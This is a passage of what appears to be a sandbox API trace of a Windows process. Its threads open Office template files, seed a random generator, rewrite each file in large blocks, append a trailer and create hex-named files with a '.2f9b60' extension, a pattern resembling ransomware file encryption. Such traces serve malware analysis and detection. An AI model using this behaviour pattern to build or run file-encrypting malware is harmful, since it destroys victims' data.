returned 0x4205b5e0 [0208.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b4f0 [0208.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b4f0) returned 1 [0208.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0208.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858850 [0208.695] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="93") returned 2 [0208.695] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.695] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="4c") returned 2 [0208.695] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="f1") returned 2 [0208.695] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.695] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="71") returned 2 [0208.695] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="88") returned 2 [0208.695] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="75") returned 2 [0208.695] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="46") returned 2 [0208.695] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="a7") returned 2 [0208.695] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.695] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="05") returned 2 [0208.695] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.695] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="2d") returned 2 [0208.695] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="36") returned 2 [0208.695] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.695] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="34") returned 2 [0208.695] sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="a6") returned 2 [0208.695] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="42") returned 2 [0208.695] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="6c") returned 2 [0208.695] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="20") returned 2 [0208.695] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="c6") returned 2 [0208.695] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="ce") returned 2 [0208.695] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="f6") returned 2 [0208.695] sprintf (in: _Dest=0x1b858880, _Format="%c%c" | out: _Dest="b3") returned 2 [0208.695] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.696] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="4c") returned 2 [0208.696] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="1e") returned 2 [0208.696] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="93") returned 2 [0208.696] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="74") returned 2 [0208.696] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.696] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="64") returned 2 [0208.696] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="05") returned 2 [0208.696] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.696] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="53") returned 2 [0208.696] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="db") returned 2 [0208.696] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.696] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.696] sprintf (in: _Dest=0x1b85889c, _Format="%c%c" | out: _Dest="27") returned 2 [0208.696] sprintf (in: _Dest=0x1b85889e, _Format="%c%c" | out: _Dest="40") returned 2 [0208.696] RtlInitAnsiString (in: DestinationString=0x3856f968, SourceString="93fb4cf14a71887546a77c05d12d364e34a6426c20c6cef6b3b64c1e93742b6405ba53db2a0b2740" | out: DestinationString="93fb4cf14a71887546a77c05d12d364e34a6426c20c6cef6b3b64c1e93742b6405ba53db2a0b2740") [0208.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x3856f938, SourceString="93fb4cf14a71887546a77c05d12d364e34a6426c20c6cef6b3b64c1e93742b6405ba53db2a0b2740", AllocateDestinationString=1 | out: DestinationString="93fb4cf14a71887546a77c05d12d364e34a6426c20c6cef6b3b64c1e93742b6405ba53db2a0b2740") returned 0x0 [0208.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431a70c0 [0208.697] wcscat (in: _Dest=0x431a7170, _Source="93fb4cf14a71887546a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93fb4cf14a71887546a7") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93fb4cf14a71887546a7" [0208.697] wcscat (in: _Dest=0x431a7170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93fb4cf14a71887546a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93fb4cf14a71887546a7.2f9b60" [0208.697] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93fb4cf14a71887546a7.2f9b60", NtPathName=0x3856f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\93fb4cf14a71887546a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312a3a0 Thread: id = 2113 os_tid = 0x142c [0138.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx")) returned 0x20 [0138.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx", dwFileAttributes=0x20) returned 1 [0138.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e90 [0138.892] GetFileSizeEx (in: hFile=0x1e90, lpFileSize=0x38a6f860 | out: lpFileSize=0x38a6f860*=110604) returned 1 [0138.892] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x1b008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.892] ReadFile (in: hFile=0x1e90, lpBuffer=0x38a6f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38a6f828, lpOverlapped=0x0 | out: lpBuffer=0x38a6f7e0*, lpNumberOfBytesRead=0x38a6f828*=0x4, lpOverlapped=0x0) returned 1 [0138.911] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac20 [0138.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ace0 [0138.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0138.912] NtQuerySystemTime (in: CurrentTime=0x38a6f720 | out: CurrentTime=0x38a6f720*=132462177441514000) returned 0x0 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x674d5222 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x6235d369 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x787e0606 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x493f8f93 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x67e450e9 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x26c7b7bc [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x77d0f421 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x57fb504a [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x27a038a7 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x3e6bc5b7 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x2b0c6a1a [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x39e39291 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x2750b852 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x6f62dda5 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x39506009 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x4eda3118 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x7bb64d50 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x18372254 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x27e71448 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x32319bd1 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x9b98ff1 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x7ebf4e65 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0xc697dfc [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x765d5f8b [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x45f51486 [0138.912] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x27e1bfdb [0138.913] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x75041301 [0138.913] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x5a11a282 [0138.913] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x31175db3 [0138.913] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x13bb0027 [0138.913] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x4464d1db [0138.913] RtlRandomEx (in: Seed=0x38a6f710 | out: Seed=0x38a6f710) returned 0x507209bf [0138.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ada0 [0138.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205add0 [0138.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0138.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ac20) returned 1 [0138.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420e4d90 [0138.921] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.921] ReadFile (in: hFile=0x1e90, lpBuffer=0x420e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38a6f780, lpOverlapped=0x0 | out: lpBuffer=0x420e4d90*, lpNumberOfBytesRead=0x38a6f780*=0x3c00, lpOverlapped=0x0) returned 1 [0139.073] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b070 [0139.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b070) returned 1 [0139.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4210a920 [0139.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b070 [0139.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1c0 [0139.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b1c0) returned 1 [0139.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.075] WriteFile (hFile=0x1e90, lpBuffer=0x4210a920, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38a6f780, lpOverlapped=0x0) [0170.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4210a920) returned 1 [0170.794] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.794] ReadFile (in: hFile=0x1e90, lpBuffer=0x420e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38a6f780, lpOverlapped=0x0 | out: lpBuffer=0x420e4d90*, lpNumberOfBytesRead=0x38a6f780*=0x3c00, lpOverlapped=0x0) returned 1 [0170.884] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604d0 [0170.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604d0) returned 1 [0170.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42183100 [0170.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604d0 [0170.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0170.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0170.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.887] WriteFile (in: hFile=0x1e90, lpBuffer=0x42183100*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38a6f780, lpOverlapped=0x0 | out: lpBuffer=0x42183100*, lpNumberOfBytesWritten=0x38a6f780*=0x3c00, lpOverlapped=0x0) returned 1 [0187.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42183100) returned 1 [0187.173] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x1740c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.173] ReadFile (in: hFile=0x1e90, lpBuffer=0x420e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38a6f780, lpOverlapped=0x0 | out: lpBuffer=0x420e4d90*, lpNumberOfBytesRead=0x38a6f780*=0x3c00, lpOverlapped=0x0) returned 1 [0190.645] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x1740c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139010 [0190.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139010) returned 1 [0190.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429b8ed0 [0190.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139010 [0190.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139040 [0190.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139040) returned 1 [0190.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.649] WriteFile (in: hFile=0x1e90, lpBuffer=0x429b8ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38a6f780, lpOverlapped=0x0 | out: lpBuffer=0x429b8ed0*, lpNumberOfBytesWritten=0x38a6f780*=0x3c00, lpOverlapped=0x0) returned 1 [0205.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429b8ed0) returned 1 [0205.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f980 [0205.357] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.357] WriteFile (in: hFile=0x1e90, lpBuffer=0x1ceb8a50*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x38a6f830, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8a50*, lpNumberOfBytesWritten=0x38a6f830*=0x15a, lpOverlapped=0x0) returned 1 [0208.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0208.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619d0) returned 1 [0208.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202619d0 [0208.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a60 [0208.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d70 [0208.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d70) returned 1 [0208.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858850 [0208.842] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="a9") returned 2 [0208.842] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="53") returned 2 [0208.842] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="42") returned 2 [0208.842] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="20") returned 2 [0208.842] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.842] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="b0") returned 2 [0208.842] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="01") returned 2 [0208.842] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="ff") returned 2 [0208.842] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="73") returned 2 [0208.842] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="b3") returned 2 [0208.842] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="dc") returned 2 [0208.842] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.842] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.842] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.842] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="18") returned 2 [0208.842] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="f1") returned 2 [0208.843] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="91") returned 2 [0208.843] sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="11") returned 2 [0208.843] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.843] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="94") returned 2 [0208.843] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="57") returned 2 [0208.843] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="56") returned 2 [0208.843] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="1f") returned 2 [0208.843] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.843] sprintf (in: _Dest=0x1b858880, _Format="%c%c" | out: _Dest="52") returned 2 [0208.843] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="cf") returned 2 [0208.843] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="6f") returned 2 [0208.843] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="df") returned 2 [0208.843] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="45") returned 2 [0208.843] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="b7") returned 2 [0208.843] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="04") returned 2 [0208.843] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="de") returned 2 [0208.843] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="7d") returned 2 [0208.843] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.843] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="1e") returned 2 [0208.843] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.843] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.843] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.843] sprintf (in: _Dest=0x1b85889c, _Format="%c%c" | out: _Dest="62") returned 2 [0208.843] sprintf (in: _Dest=0x1b85889e, _Format="%c%c" | out: _Dest="94") returned 2 [0208.843] RtlInitAnsiString (in: DestinationString=0x38a6f8a8, SourceString="a9534220a0b001ff73b3dc4ac11d18f191114f9457561f1a52cf6fdf45b704de7d7c1eefc4d26294" | out: DestinationString="a9534220a0b001ff73b3dc4ac11d18f191114f9457561f1a52cf6fdf45b704de7d7c1eefc4d26294") [0208.843] RtlAnsiStringToUnicodeString (in: DestinationString=0x38a6f878, SourceString="a9534220a0b001ff73b3dc4ac11d18f191114f9457561f1a52cf6fdf45b704de7d7c1eefc4d26294", AllocateDestinationString=1 | out: DestinationString="a9534220a0b001ff73b3dc4ac11d18f191114f9457561f1a52cf6fdf45b704de7d7c1eefc4d26294") returned 0x0 [0208.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431a69e0 [0208.844] wcscat (in: _Dest=0x431a6a90, _Source="a9534220a0b001ff73b3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a9534220a0b001ff73b3") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a9534220a0b001ff73b3" [0208.844] wcscat (in: _Dest=0x431a6a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a9534220a0b001ff73b3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a9534220a0b001ff73b3.2f9b60" [0208.844] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a9534220a0b001ff73b3.2f9b60", NtPathName=0x38a6f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\a9534220a0b001ff73b3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x43116a20 Thread: id = 2114 os_tid = 0x143c [0138.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx")) returned 0x20 [0138.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx", dwFileAttributes=0x20) returned 1 [0138.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e80 [0138.927] GetFileSizeEx (in: hFile=0x1e80, lpFileSize=0x38b1fb80 | out: lpFileSize=0x38b1fb80*=19021) returned 1 [0138.927] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x4a49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.927] ReadFile (in: hFile=0x1e80, lpBuffer=0x38b1fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38b1fb48, lpOverlapped=0x0 | out: lpBuffer=0x38b1fb00*, lpNumberOfBytesRead=0x38b1fb48*=0x4, lpOverlapped=0x0) returned 1 [0139.023] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0139.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af50 [0139.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205afe0 [0139.024] NtQuerySystemTime (in: CurrentTime=0x38b1fa40 | out: CurrentTime=0x38b1fa40*=132462177442606000) returned 0x0 [0139.024] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x5f547013 [0139.024] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x4c1f95d8 [0139.024] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x2d552768 [0139.024] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x3674a6a6 [0139.024] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x6307223d [0139.024] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x56f8fd19 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 